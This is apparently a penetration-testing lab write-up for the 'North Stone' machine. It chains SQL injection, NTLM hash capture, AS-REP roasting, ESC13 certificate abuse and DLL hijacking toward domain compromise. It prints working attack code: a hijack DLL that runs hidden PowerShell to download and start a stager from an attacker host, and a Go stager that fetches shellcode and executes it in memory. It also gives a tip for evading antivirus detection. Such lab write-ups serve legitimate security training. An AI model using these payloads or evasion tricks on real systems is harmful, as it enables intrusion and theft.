> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/north-stone.md).

# North Stone

{% embed url="<https://www.hacksmarter.org/courses/3c5f28d7-fed2-4302-9dd5-ecf9c4a56e14>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

### Objective <a href="#user-content-objective" id="user-content-objective"></a>

North Stone, a premier luxury real estate marketplace, has engaged Hack Smarter for a full-scope penetration test. Your objective: identify critical vulnerabilities and demonstrate real-world business impact by achieving complete domain compromise.

#### Initial Access <a href="#user-content-initial-access" id="user-content-initial-access"></a>

The client has provided you with VPN access to their network, but no credentials.

## Summary

<details>

<summary>Summary</summary>

In North Stone, we begin with external enumeration and discover a Domain Controller `DC.northstone.local` exposing DNS on port `53`, Kerberos on `88`, LDAP on `389` and `636`, SMB on `445`, RDP on `3389`, WinRM on `5985`, IIS on `80`, and MSSQL on `1433`. Initial SMB enumeration fails without credentials, so we pivot to the web service and discover a subdomain `testsql.northstone.local` via vhost fuzzing. The subdomain hosts a search interface vulnerable to SQL injection on `/search.aspx?q=`; the verbose error message leaks connection string credentials for the `webapp` database user, granting us authenticated MSSQL access.

Connected to the MSSQL service, we enumerate linked servers and discover `SQLBACKUP`. Using `xp_dirtree`, we force a connection attempt to our SMB share and capture the NTLMv2 hash of `svc_backup`, which we successfully crack. With credentials in hand, we run BloodHound to enumerate the domain and identify user `c.mcgill` with Kerberos pre-authentication disabled. We AS-REP roast `c.mcgill`, crack the resulting hash, and use BloodyAD to discover that we possess write permissions over user `t.dalton`. We disable Kerberos pre-auth on `t.dalton`, AS-REP roast the account, and crack it.

Authenticating as `t.dalton`, we use Certipy to discover a vulnerable certificate template called `TemporaryWinRM`susceptible to ESC13. We enroll a certificate, authenticate via Kerberos using the resulting PFX, and establish a WinRM shell as `t.dalton`. On the user's desktop, we find an email detailing a scheduled task that runs `WindowsUpdateChecker`every minute under the context of `c.white`. We decompile the executable with ILSpy, discover it loads `wuaclt.dll` from the modules directory, and craft a malicious DLL that silently downloads and executes a Sliver stager via PowerShell. Placing the DLL in the modules folder grants us a C2 session as `c.white`.

Examining `c.white`'s group memberships, we discover membership in database backup operators. We locate a backup file `NorthStoneDB.bak` in `C:\BackupDB\`, restore it to a local Docker MSSQL instance, and query the `auth_test_users` table to recover credentials for `k.bennett`. BloodHound reveals a lateral movement chain through `r.parker` to `l.turner`. We use BloodyAD to change `r.parker`'s password, then deploy Certipy's Shadow Credentials attack to extract `l.turner`'s NT hash and establish a WinRM session.

As `l.turner`, we enumerate group-related services and locate `PrintNotifyService`, which is managed by the print services operators group. We upload a service-aware Go stager capable of handling SCM control requests, modify the service's binPath to point to our stager, restart the service, and receive a stable Sliver session as `NT AUTHORITY\SYSTEM`, yielding the root flag at `C:\Users\Administrator\desktop\root.txt`.

</details>

## Recon

We use `rustscan -b 500 -a 10.0.22.176 --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" %}

```
rustscan -b 500 -a 10.0.22.176 --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="/files/RuntG7n4jSenJ3zFnyIn" alt=""><figcaption></figcaption></figure>

The target `10.0.22.176` is a Domain Controller `DC.northstone.local`. DNS is exposed on port `53` and Kerberos on port `88`, alongside Kerberos password change on port `464`. LDAP and LDAPS services are available on ports `389` and `636`, with the Global Catalog on ports `3268` and `3269`. SMB is exposed via ports `139` and `445` with message signing enabled and required. A web server (Microsoft IIS 10.0) is hosting a "NorthStone | Coming Soon - US Real Estate Portal" page on port `80`, and Microsoft SQL Server 2019 is reachable on ports `1433`. Remote management and access are available through RDP on port `3389` and WinRM on port `5985`. The host also exposes a .NET Message Framing service on port `9389`, RPC over HTTP on port `593`, and several MSRPC endpoints on ports `135`, `49664`, `49667+`.

<figure><img src="/files/3WcPCWomhkHwb4ZrIVYX" alt=""><figcaption></figcaption></figure>

### SMB

We try to authenticate anonymously and via `guest` against SMB using NetExec but without success. The acount is disabled. Nevertheless we will generate a hosts file entry with the following command:

{% code overflow="wrap" %}

```
nxc smb 10.0.22.176 -u guest -p '' --generate-hosts-file hosts
```

{% endcode %}

<figure><img src="/files/32RFFZlU8uUvNVp3e4Ct" alt=""><figcaption></figcaption></figure>

We add the following entry to our `/etc/hosts` file.

{% code overflow="wrap" %}

```
10.0.22.176     DC.northstone.local northstone.local DC
```

{% endcode %}

### WEB

Since we don't have any users and can't authenticate ourselves anonymously, we'll proceed with the web service. The nmap scan already revealed that a page is indeed being hosted.

We have a real estate search platform infront of us which is currently under development. At first glance it seems like a static site.

{% code overflow="wrap" %}

```
http://northstone.local/
```

{% endcode %}

<figure><img src="/files/w4aTqFEFXsDTr3YsqqLv" alt=""><figcaption></figcaption></figure>

We scroll down and find a development changelog. We see a databse has been establishd and a backup process implemented.

<figure><img src="/files/1bV0NQAqU8YfTHFAIfwV" alt=""><figcaption></figcaption></figure>

We continue with a directory scan using Feroxbuster, but do not find any interesting endpoints.

{% code overflow="wrap" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u 'http://northstone.local'
```

{% endcode %}

<figure><img src="/files/a8K5NAVKvVZ2thb3cux7" alt=""><figcaption></figcaption></figure>

Next, we perform a VHOST scan using FFuF. After a while we are able to detect a vhost called `testsql` using the `subdomains-top1million-110000.txt` wordlist.

{% code overflow="wrap" expandable="true" %}

```
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.northstone.local" -u http://northstone.local -fw 6667
```

{% endcode %}

<figure><img src="/files/Vo5U8Nofdg47buJ7tqcK" alt=""><figcaption></figcaption></figure>

We edit our `/etc/hosts` entry like the following and proceed with the enumeration on `testsql.northstone.local`.

{% code overflow="wrap" expandable="true" %}

```
10.0.22.176     DC.northstone.local northstone.local DC testsql.northstone.local
```

{% endcode %}

Here we are able to query the database through a search bar.

{% code overflow="wrap" expandable="true" %}

```
http://testsql.northstone.local/
```

{% endcode %}

<figure><img src="/files/VaAcVh4JT8nUKe6OxY54" alt=""><figcaption></figcaption></figure>

We test for SQL injection by entering a single quote and retrieving an error message. The target is susceptible to SQL injection.

{% code overflow="wrap" expandable="true" %}

```
http://testsql.northstone.local/search.aspx?q='
```

{% endcode %}

<figure><img src="/files/WvrGr7K4a5BlaKkArIZC" alt=""><figcaption></figcaption></figure>

## Access as webapp

We scroll down the error message.and also the connection string is revealed containing the database credentials. The error message is too verbose and contains sensitve information.

{% code overflow="wrap" expandable="true" %}

```
http://testsql.northstone.local/search.aspx?q='
```

{% endcode %}

<figure><img src="/files/dIJv5usTBKoQNJjrN9nF" alt=""><figcaption></figcaption></figure>

Next, we try to connect to the MSSQL service on port `1433` using impackets `mssqlclient.py`. We are successful and are able to query the database from there.

{% embed url="<https://hackviser.com/tactics/pentesting/services/mssql>" %}

{% code overflow="wrap" expandable="true" %}

```
mssqlclient.py 'webapp:REDACTED'@northstone.local
```

{% endcode %}

<figure><img src="/files/OvUOU3JyNKcdkfc09KTU" alt=""><figcaption></figcaption></figure>

The following part shows the attempt via SQLMap and can be skipped.&#x20;

We can continue with the section Access as [svc\_backup](#access-as-svc_backup).

{% hint style="info" %}
I did this because I made the mistake of not reviewing the entire error log.

However, the database contains a table that is empty in this instance but will become relevant later on.
{% endhint %}

Using SQLMap we see the target is vulnerable to the following techniques:

error-based, time-base blind and stacked queries.

{% code overflow="wrap" expandable="true" %}

```
sqlmap -u 'http://testsql.northstone.local/search.aspx?q=a'
```

{% endcode %}

<figure><img src="/files/qf3XfvftuFxer5LprNz3" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/UNasUxXgJm7VlJEbmIOe" alt=""><figcaption></figcaption></figure>

We are able to enumerate the databases.

{% code overflow="wrap" expandable="true" %}

```
sqlmap -u 'http://testsql.northstone.local/search.aspx?q=a' --dbs
```

{% endcode %}

<figure><img src="/files/dMnJyVHz9IrXNUVKNB7L" alt=""><figcaption></figcaption></figure>

In NorthstoneDB we find a table called `auth_test_users`.

{% code overflow="wrap" expandable="true" %}

```
sqlmap -u 'http://testsql.northstone.local/search.aspx?q=a' -D NorthstoneDB --tables
```

{% endcode %}

<figure><img src="/files/68Nmq7Flbd39vKEYlK3S" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
sqlmap -u 'http://testsql.northstone.local/search.aspx?q=a' -D NorthstoneDB -T auth_test_users --columns
```

{% endcode %}

<figure><img src="/files/IICiTT5ACWFEMVCSc7LW" alt=""><figcaption></figcaption></figure>

But unfortunately its empty.

{% code overflow="wrap" expandable="true" %}

```
sqlmap -u 'http://testsql.northstone.local/search.aspx?q=a' -D NorthstoneDB -T auth_test_users --dump
```

{% endcode %}

<figure><img src="/files/1jJt5dgs7gXfYsmGHejt" alt=""><figcaption></figcaption></figure>

## Access as svc\_backup

We do not find anything interesting in the database beside an empty table called `auth_test_users` on the DB `NorthStoneDB`, but this might be interesting later on.

With the connection esabtlished to `1433` we try to execute system commands with `xp_cmdshell`, but we are missing the permission.

{% code overflow="wrap" expandable="true" %}

```
EXEC xp_cmdshell 'whoami';
```

{% endcode %}

<figure><img src="/files/8IfMn8j5AL7Rs34pXqoA" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
EXEC sp_configure 'show advanced options', 1;
```

{% endcode %}

<figure><img src="/files/gdJVlvp5K7kE4gseqe7j" alt=""><figcaption></figcaption></figure>

What else we can try is to catch an NTLMv2 hash by forcing a connection to our share via `xp_dirtree`. For this, we set up Responder

{% code overflow="wrap" expandable="true" %}

```
responder -I tun0
```

{% endcode %}

<figure><img src="/files/c8ghMGHdFKOQkfAHxvO5" alt=""><figcaption></figcaption></figure>

We connect to our share...

{% code overflow="wrap" expandable="true" %}

```
EXEC xp_dirtree '\\10.200.65.42\share';
```

{% endcode %}

<figure><img src="/files/fIsr4qdn96kFDsvSDAVF" alt=""><figcaption></figcaption></figure>

... and receive the `DC$` NTLMv2 hash, but we cannot crack it.

<figure><img src="/files/22zuhdRy4pSNB6Fb0KHV" alt=""><figcaption></figcaption></figure>

Next, we try to enumerate linked servers and actually do find one. The `SQLBACKUP` server.

{% code overflow="wrap" expandable="true" %}

```
sp_linkedservers
```

{% endcode %}

<figure><img src="/files/nSYf6jORbIWy3yZ7F1Gz" alt=""><figcaption></figcaption></figure>

For this we try to execute commands again using `xp_cmdshell`, but also here we're missing the permissions to do so. But also we try to catch a NTLMv2 hash via a connection attempt to our share using `xp_dirtree`.

{% code overflow="wrap" expandable="true" %}

```
EXEC ('EXEC xp_cmdshell ''whoami''') AT [SQLBACKUP];
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
EXEC ('EXEC xp_dirtree ''\\10.200.65.42\share''') AT [SQLBACKUP];
```

{% endcode %}

<figure><img src="/files/ZQQgJgeZTylQFtyisW0Q" alt=""><figcaption></figcaption></figure>

And we are successful. We retrieve the hash of `svc_backup`.

<figure><img src="/files/p8f79jEFPuS7Bjrhh3db" alt=""><figcaption></figcaption></figure>

This hash is actually crackable.

{% code overflow="wrap" expandable="true" %}

```
hashcat -a0 -m5600 svc_backup.hash /usr/share/wordlists/rockyou.txt
```

{% endcode %}

<figure><img src="/files/8NxOOHMIvgFz3AlFm3O0" alt=""><figcaption></figcaption></figure>

We test the credentails of `svc_backup` using NetExec and successfully authenticate against the domain controller.

{% code overflow="wrap" expandable="true" %}

```
nxc smb northstone.local -u svc_backup -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="/files/DZYK3rK5BXBKlkgisRSI" alt=""><figcaption></figcaption></figure>

## BloodHound Enumeration

Now that we have credentials we'll enumerate the domain using BloodHound.

{% code overflow="wrap" expandable="true" %}

```
bloodhound-ce.py -u 'svc_backup' -p 'REDACTED' -d northstone.local -dc DC.northstone.local -ns 10.0.22.176 -c All --zip
```

{% endcode %}

<figure><img src="/files/6DWcl0pZhu1BpCYya2rH" alt=""><figcaption></figcaption></figure>

The Administrator is the only Domain Admin.

<figure><img src="/files/fmcZppjuuirfP3uFEoIf" alt=""><figcaption></figcaption></figure>

Our recent compromised user does not seem to have any special privileges / outbound object control according to our bloodhound data gathered.

<figure><img src="/files/FH2lgiD9B7wdT6CKszUA" alt=""><figcaption></figcaption></figure>

We look for quick wins, and find a single user `c.mcgill` AS-REP roastable. This user does not have any special outbound object control, but might have access to shares or hold other special privilges we can't see right now with the bloodhound data gathered. We give it a try.

<figure><img src="/files/4RI7dqhdIWzRQ9BBm2Rr" alt=""><figcaption></figcaption></figure>

With ASREProasting accounts with Kerberos pre-authentication disabled are exploited by requesting a TGT for them, since the KDC will return an `AS-REP` containing a session key encrypted with the user's password-derived hash. We can then crack that hash offline to recover the plaintext password, though the TGT itself remains unusable without it.

{% embed url="<https://orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap_ad_dark_classic_2025.03.excalidraw.svg>" %}

{% embed url="<https://www.thehacker.recipes/ad/movement/kerberos/roasting/asreproast#practice>" %}

<figure><img src="/files/5ReyooQtKNKXVS6FRpTl" alt=""><figcaption></figcaption></figure>

## Access as c.mcgill

We use NetExec for AS-REP Roasting and are able to extract the blob from `c.mcgill`.

{% code overflow="wrap" expandable="true" %}

```
nxc ldap northstone.local -u svc_backup -p 'sql0v3-u' --asreproast ASREProastables.txt
```

{% endcode %}

<figure><img src="/files/QfSlQIk18ZZ8ELLkLq71" alt=""><figcaption></figcaption></figure>

Next, we try to crack the blob and are successful.

{% code overflow="wrap" expandable="true" %}

```
hashcat -a0 -m18200 ASREProastables.txt /usr/share/wordlists/rockyou.txt
```

{% endcode %}

<figure><img src="/files/miiEpYD53rr5vyTnIRzU" alt=""><figcaption></figcaption></figure>

With the credentials recovered we are able to authenticate as `c.mcgill` against SMB using NetExec. But there are no new shares available.

{% code overflow="wrap" expandable="true" %}

```
nxc smb northstone.local -u c.mcgill -p 'REDACTED' --shares 
```

{% endcode %}

<figure><img src="/files/GX9rfvSprrqyNlYef3g6" alt=""><figcaption></figcaption></figure>

## Access as t.dalton

As a last resort we try to query for writable AD objects using BloodyAD by authenticating as `c.mcgill` returning detailed output of every object that account can modify

{% code overflow="wrap" expandable="true" %}

```
bloodyad -u 'c.mcgill' -p 'REDACTED' --host DC.northstone.local get writable --detail
```

{% endcode %}

<figure><img src="/files/xnO8LSgz3PKRr0WxMZ6C" alt=""><figcaption></figcaption></figure>

We see we have writeable permissions on tony dalton. This user is member of the `software maintenance group` and `certificate enrollment users`. This seems like a high value target.

<figure><img src="/files/mPCnuNijDi2obndOJUNN" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/W5Gtzvhj0EgBYlsF0W4I" alt=""><figcaption></figcaption></figure>

With the writeable permissions we disable Kerberos pre-authentication. Enabled us to perfrom an ASREP Roast.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD -u 'c.mcgill' -p 'REDACTED' --host DC.northstone.local add uac t.dalton -f DONT_REQ_PREAUTH
```

{% endcode %}

<figure><img src="/files/ZcfJn59PnqPKAF2uQfAe" alt=""><figcaption></figcaption></figure>

We use NetExec for AS-REP Roasting and are able to extract the blob from `t.dalton` also.

{% code overflow="wrap" expandable="true" %}

```
nxc ldap northstone.local -u svc_backup -p 'sql0v3-u' --asreproast ASREProastables.txt
```

{% endcode %}

<figure><img src="/files/R9u5EZjsJaK2KCie3pr5" alt=""><figcaption></figcaption></figure>

Next, we try to crack the blob and are successful.

{% code overflow="wrap" expandable="true" %}

```
hashcat -a0 -m18200 ASREProastables.txt /usr/share/wordlists/rockyou.txt
```

{% endcode %}

<figure><img src="/files/etTcyBTjfb2AYPbu6Rd5" alt=""><figcaption></figcaption></figure>

With the credentials recovered we are able to authenticate as `t.dalton` against SMB using NetExec. But there are also no new shares available.

{% code overflow="wrap" expandable="true" %}

```
nxc smb northstone.local -u t.dalton -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="/files/WdnP9uBq10J45pypt31O" alt=""><figcaption></figcaption></figure>

## Shell as t.dalton

The user t`.dalton` is also member of the `certificate enrollment users` group. We enumerate for vulnerable certificates using the current version of Certipy.

{% code overflow="wrap" expandable="true" %}

```
certipy find -u 't.dalton@northstone.local' -p 'REDACTED' -dc-ip 10.0.22.176 -target DC.northstone.local -vulnerable
```

{% endcode %}

<figure><img src="/files/ynY5iA38olhhtqkQiA3a" alt=""><figcaption></figcaption></figure>

We do find a template called `TemporaryWinRM` that is vulnerable to ESC13. Due to this misconfiguration, any user who can enroll a certificate using this template will automatically be granted the privileges of the linked group. Meaning we could obtain privileges to get a WinRM session as the user `t.dalton`.

A deep dive to ESC13 can be found in the following article:

{% embed url="<https://specterops.io/blog/2024/02/14/adcs-esc13-abuse-technique/?source=rss----f05f8696e3cc---4>" %}

Besides that the enrollable principals are `NORTHSTONE.LOCAL\Certificate Enrollment Users` which the user is member of.

<figure><img src="/files/uKBvDBjjPv5xPvBrMgcV" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/X5muP7ePGCpd0lLvxpt8" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/sATnvmcbugh61U01x7hN" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
{
  "Certificate Authorities": {
    "0": {
      "CA Name": "NORTHSTONE-CA",
      "DNS Name": "DC.northstone.local",
      "Certificate Subject": "CN=NORTHSTONE-CA, DC=northstone, DC=local",
      "Certificate Serial Number": "46ED3A9B8650DAAD4538DC1C5C080F47",
      "Certificate Validity Start": "2026-05-02 23:16:08+00:00",
      "Certificate Validity End": "2031-05-02 23:26:08+00:00",
      "Web Enrollment": {
        "http": {
          "enabled": false
        },
        "https": {
          "enabled": false,
          "channel_binding": null
        }
      },
      "User Specified SAN": "Disabled",
      "Request Disposition": "Issue",
      "Enforce Encryption for Requests": "Enabled",
      "Active Policy": "CertificateAuthority_MicrosoftDefault.Policy",
      "Permissions": {
        "Owner": "NORTHSTONE.LOCAL\\Administrators",
        "Access Rights": {
          "1": [
            "NORTHSTONE.LOCAL\\Administrators",
            "NORTHSTONE.LOCAL\\Domain Admins",
            "NORTHSTONE.LOCAL\\Enterprise Admins"
          ],
          "2": [
            "NORTHSTONE.LOCAL\\Administrators",
            "NORTHSTONE.LOCAL\\Domain Admins",
            "NORTHSTONE.LOCAL\\Enterprise Admins"
          ],
          "512": [
            "NORTHSTONE.LOCAL\\Authenticated Users"
          ]
        }
      }
    }
  },
  "Certificate Templates": {
    "0": {
      "Template Name": "TemporaryWinRM",
      "Display Name": "TemporaryWinRM",
      "Certificate Authorities": [
        "NORTHSTONE-CA"
      ],
      "Enabled": true,
      "Client Authentication": true,
      "Enrollment Agent": false,
      "Any Purpose": false,
      "Enrollee Supplies Subject": false,
      "Certificate Name Flag": [
        33554432,
        2147483648
      ],
      "Enrollment Flag": [
        1,
        8,
        32
      ],
      "Private Key Flag": [
        16
      ],
      "Extended Key Usage": [
        "Client Authentication"
      ],
      "Requires Manager Approval": false,
      "Requires Key Archival": false,
      "Authorized Signatures Required": 0,
      "Schema Version": 2,
      "Validity Period": "1 year",
      "Renewal Period": "6 weeks",
      "Minimum RSA Key Length": 2048,
      "Template Created": "2026-05-02 23:44:12+00:00",
      "Template Last Modified": "2026-05-03 06:18:56+00:00",
      "Issuance Policies": [
        "1.3.6.1.4.1.311.21.8.6869607.4994610.3034790.7795668.5034561.159.11301662.5306190"
      ],
      "Linked Groups": [
        "CN=TempWinRMAccess,CN=Users,DC=northstone,DC=local"
      ],
      "Permissions": {
        "Enrollment Permissions": {
          "Enrollment Rights": [
            "NORTHSTONE.LOCAL\\Certificate Enrollment Users",
            "NORTHSTONE.LOCAL\\Domain Admins",
            "NORTHSTONE.LOCAL\\Enterprise Admins"
          ]
        },
        "Object Control Permissions": {
          "Owner": "NORTHSTONE.LOCAL\\Administrator",
          "Full Control Principals": [
            "NORTHSTONE.LOCAL\\Domain Admins",
            "NORTHSTONE.LOCAL\\Enterprise Admins"
          ],
          "Write Owner Principals": [
            "NORTHSTONE.LOCAL\\Domain Admins",
            "NORTHSTONE.LOCAL\\Enterprise Admins"
          ],
          "Write Dacl Principals": [
            "NORTHSTONE.LOCAL\\Domain Admins",
            "NORTHSTONE.LOCAL\\Enterprise Admins"
          ],
          "Write Property Enroll": [
            "NORTHSTONE.LOCAL\\Domain Admins",
            "NORTHSTONE.LOCAL\\Enterprise Admins"
          ]
        }
      },
      "[+] User Enrollable Principals": [
        "NORTHSTONE.LOCAL\\Certificate Enrollment Users"
      ],
      "[!] Vulnerabilities": {
        "ESC13": "Template allows client authentication and issuance policy is linked to group 'CN=TempWinRMAccess,CN=Users,DC=northstone,DC=local'."
      }
    }
  }
}
```

{% endcode %}

We edit our `/etc/hosts` entry by adding the FQDN of the CA `NORTHSTONE-CA`.

{% code overflow="wrap" expandable="true" %}

```
10.0.22.176     DC.northstone.local northstone.local DC testsql.northstone.local NORTHSTONE-CA
```

{% endcode %}

Next, we request the vulnerable certificate and retrieve the PFX, granting us the permissions of the template's linked group as `t.dalton`.

{% code overflow="wrap" expandable="true" %}

```
certipy req -u t.dalton@northstone.local -p REDACTED -target DC.northstone.local -ca NORTHSTONE-CA -template TemporaryWinRM
```

{% endcode %}

<figure><img src="/files/FdtjsmFuD2YBETfwBUuM" alt=""><figcaption></figcaption></figure>

Now we authenticate as t.dalton and retrieve the ccache file.

{% code overflow="wrap" expandable="true" %}

```
certipy auth -pfx t.dalton.pfx -dc-ip 10.0.22.176
```

{% endcode %}

<figure><img src="/files/rClBGAisLwykzU9EDl2W" alt=""><figcaption></figcaption></figure>

We still need to configure `/etc/krb5.conf` so the Kerberos libraries can use our ccache, allowing evil-winrm to authenticate via Kerberos. For this we will use the following script:

{% embed url="<https://gist.github.com/zhsh9/f1ba951ec1eb3de401707bbbec407b98>" %}

We run the script by providing the domain FQDN and the DC name and get the contents directly written to our `/etc/krb5.conf` file.

{% code overflow="wrap" expandable="true" %}

```
python krb5_conf.py northstone.local DC
```

{% endcode %}

<figure><img src="/files/QeEfggQ1qYQTzyFBq4C3" alt=""><figcaption></figcaption></figure>

We export `KRB5CCNAME=t.dalton.ccache` so the Kerberos libraries know which credential cache to use when authenticating...

{% code overflow="wrap" expandable="true" %}

```
export KRB5CCNAME=t.dalton.ccache   
```

{% endcode %}

... and connect via evil-winrm. But still no flag.

{% code overflow="wrap" expandable="true" %}

```
evil-winrm -i DC.northstone.local -r NORTHSTONE.LOCAL
```

{% endcode %}

<figure><img src="/files/vBw6ioxe5ZsgfP34LGbQ" alt=""><figcaption></figcaption></figure>

## Access as c.white

On the users Desktop we find an email about the WindowsUpdateChecker test setup.

Carls updates Tony that the WindowsUpdateChecker tool is being tested through a scheduled task running every minute under the `c.white` user context, performing update checks and closing afterward to provide a controlled execution loop. He noted that the tool still needs structural improvements, the previous DLL failed, and requested a new x64 DLL integrated into the application's directory with a flexible design for future functionality.

So this may imply that we could possible abuse the scheduled task via DLL hijacking to get a shell as `c.white`.

<figure><img src="/files/P9RS174zjH7LmswlfEYf" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
Hi Tony,

I wanted to give you a quick update on the WindowsUpdateChecker tool we’ve been working on.

For testing purposes, I set up a scheduled task that runs the application every two minutes under my own user context (c.white). The idea was to simulate a continuous update-checking mechanism without overcomplicating the setup at this stage.

Right now, the behavior is pretty straightforward:

The task starts the tool every 1 minute
The application performs its update check
It then closes automatically after completing the check

At the moment, there is no console output, so everything runs silently in the background.

This gives us a controlled loop for testing stability and execution.

That said, there’s still quite a bit of work ahead. We especially need to improve how the tool handles its modules and overall structure.

Also, the DLL you created earlier unfortunately didn’t work as expected, so we’ll need to revisit that part.

For the next step, please create a x64 DLL that integrates properly with the application and place it in the appropriate directory used by the tool. This part will be critical for extending functionality later on, so feel free to design it with flexibility in mind.

Let’s sync once you’ve had time to review and implement this.

– Carls
```

{% endcode %}

We do find the WindowsUpdateChecker executable at `C:\Program Files\WindowsUpdateChecker`. We download the file for further investigation decompiling it.

<figure><img src="/files/uMJbB9632ENfL16DXpX8" alt=""><figcaption></figcaption></figure>

To decompile the binary we could try `dnSpy.exe` a .NET decompiler.&#x20;

It is probably possible to use `dnSpy.exe` via Wine, but this did not work properly on my machine. If you still want to try it, you can do this as follows: `WINEPREFIX=$HOME/.<INSERT YOUR PREFIX> wine dnSpy.exe`. The executable can be obtained from the following resource:

{% embed url="<https://github.com/dnSpy/dnSpy>" %}

{% hint style="info" %}
There is an alternative to running dnSpy on a Windows VM.

We can use the plugin ILSpy which is not only available on Visual Studio but also on Visual Studio Code to decompile .NET binaries.
{% endhint %}

{% embed url="<https://github.com/icsharpcode/ilspy>" %}

If you have not setup Visual Studio Code yet checkout the following resource:

{% embed url="<https://code.visualstudio.com/docs/setup/linuxcode.visualstudio.com>" %}

We are using the ILSpy extension on VSCode to decompile the binary

The `ILSpy` plugin can be easily installed via the marketplace.

<figure><img src="/files/2YpsBu9z7l64HPeyqoyM" alt=""><figcaption></figcaption></figure>

After having the plugin installed hit `CTRL+SHIFT+P` and enter `ILSpy: Pick assembly from file system` to pick the executable.&#x20;

Here we see the `wuaclt.dll` loaded from `C:\Program Files\WindowsUpdateChecker\modules\wuaclt.dll`.

<figure><img src="/files/UPKxZSrRfk8PgIUNyoVU" alt=""><figcaption></figcaption></figure>

#### Preparation of DLL <a href="#preparation-of-dll-with-sideloading-and-proxying-capabilities" id="preparation-of-dll-with-sideloading-and-proxying-capabilities"></a>

We try a simple DLL hijack. We'll use the source code we assembled for the Dismay machine.

The idea is to download and execute a Sliver C2 stager to get a remote session.

{% embed url="<https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/dismay#shell-as-wang.kali-on-dc1>" %}

When the DLL is loaded, it silently launches PowerShell, downloads `stager.exe` from our web server into the victim's `%APPDATA%` directory, and then executes it.

{% code title="poc.c" overflow="wrap" lineNumbers="true" expandable="true" %}

```c
	#include <windows.h>
	
	#pragma comment(lib, "user32.lib")
	
	BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
	{
	    switch (fdwReason)
	    {
	        case DLL_PROCESS_ATTACH:
	            WinExec("powershell.exe -WindowStyle Hidden -Command \"Invoke-WebRequest http://10.200.65.42/stager.exe -OutFile $env:APPDATA\\stager.exe; Start-Process $env:APPDATA\\stager.exe\"", SW_SHOW);
	            break;
	    }
	
	    return TRUE;
	}
```

{% endcode %}

We compile the DLL...

{% code overflow="wrap" expandable="true" %}

```
x86_64-w64-mingw32-gcc -shared poc.c -o wuaclt.dll
```

{% endcode %}

<figure><img src="/files/05DJiHfLGHsfCR5NeI28" alt=""><figcaption></figcaption></figure>

#### Preparation Of Stager <a href="#preparation-of-stager" id="preparation-of-stager"></a>

Next, we need to prepare the stager.

The stager fetches raw shellcode from a chosen URL and loads it directly into memory as bytes. The payload is not embedded in the binary, allowing it to be changed without recompiling.

It calls `VirtualAlloc` to reserve and commit memory with execute, read, and write permissions, then copies the downloaded shellcode into that memory using unsafe pointer operations.

The execution is transferred to the allocated memory address using `syscall.Syscall`, handing control to the shellcode.

{% code title="stager.go" overflow="wrap" lineNumbers="true" expandable="true" %}

```go
		// +build windows
		
		package main
		
		import (
			"io"
			"net/http"
			"syscall"
			"unsafe"
		)
		
		var (
			kernel32            = syscall.NewLazyDLL("kernel32.dll")
			procVirtualAlloc    = kernel32.NewProc("VirtualAlloc")
		)
		
		const (
			MEM_COMMIT             = 0x1000
			MEM_RESERVE            = 0x2000
			PAGE_EXECUTE_READWRITE = 0x40
		)
		
		func downloadShellcode(url string) ([]byte, error) {
			resp, err := http.Get(url)
			if err != nil {
				return nil, err
			}
			defer resp.Body.Close()
		
			return io.ReadAll(resp.Body)
		}
		
		func executeShellcode(shellcode []byte) {
			addr, _, err := procVirtualAlloc.Call(
				0,
				uintptr(len(shellcode)),
				MEM_COMMIT|MEM_RESERVE,
				PAGE_EXECUTE_READWRITE,
			)
			if addr == 0 {
				panic(err)
			}
		
			// Copy shellcode into allocated memory
			for i := 0; i < len(shellcode); i++ {
				*(*byte)(unsafe.Pointer(addr + uintptr(i))) = shellcode[i]
			}
		
			// Execute shellcode
			syscall.Syscall(addr, 0, 0, 0, 0)
		}
		
		func main() {
			url := "http://10.200.65.42/shellc.bin"
		
			shellcode, err := downloadShellcode(url)
			if err != nil {
				panic(err)
			}
		
			executeShellcode(shellcode)
		}
```

{% endcode %}

We compile the stager as follows on our exegol instance:

{% hint style="info" %}
The addition of `-ldflags="-H windowsgui"` ensures that we compile it as an application and not a console app, so it wont spawn a terminal.
{% endhint %}

{% hint style="info" %}
Since the stager got caught due to sample submission, but want to reuse it, we use a simple trick and use the `-s -w` ldflags for compilation. Using `-s -w` strips debug symbols and DWARF metadata from the Go binary, changing its hash and reducing recognizable signatures, which can help avoid detection because antivirus engines that previously flagged the original sample submission may no longer match the modified compiled file exactly. We might see this neat trick later again.
{% endhint %}

{% code overflow="wrap" expandable="true" %}

```
GOOS=windows GOARCH=amd64 CGO_ENABLED=0 go build -ldflags="-H windowsgui" -o stager.exe stager.go
```

{% endcode %}

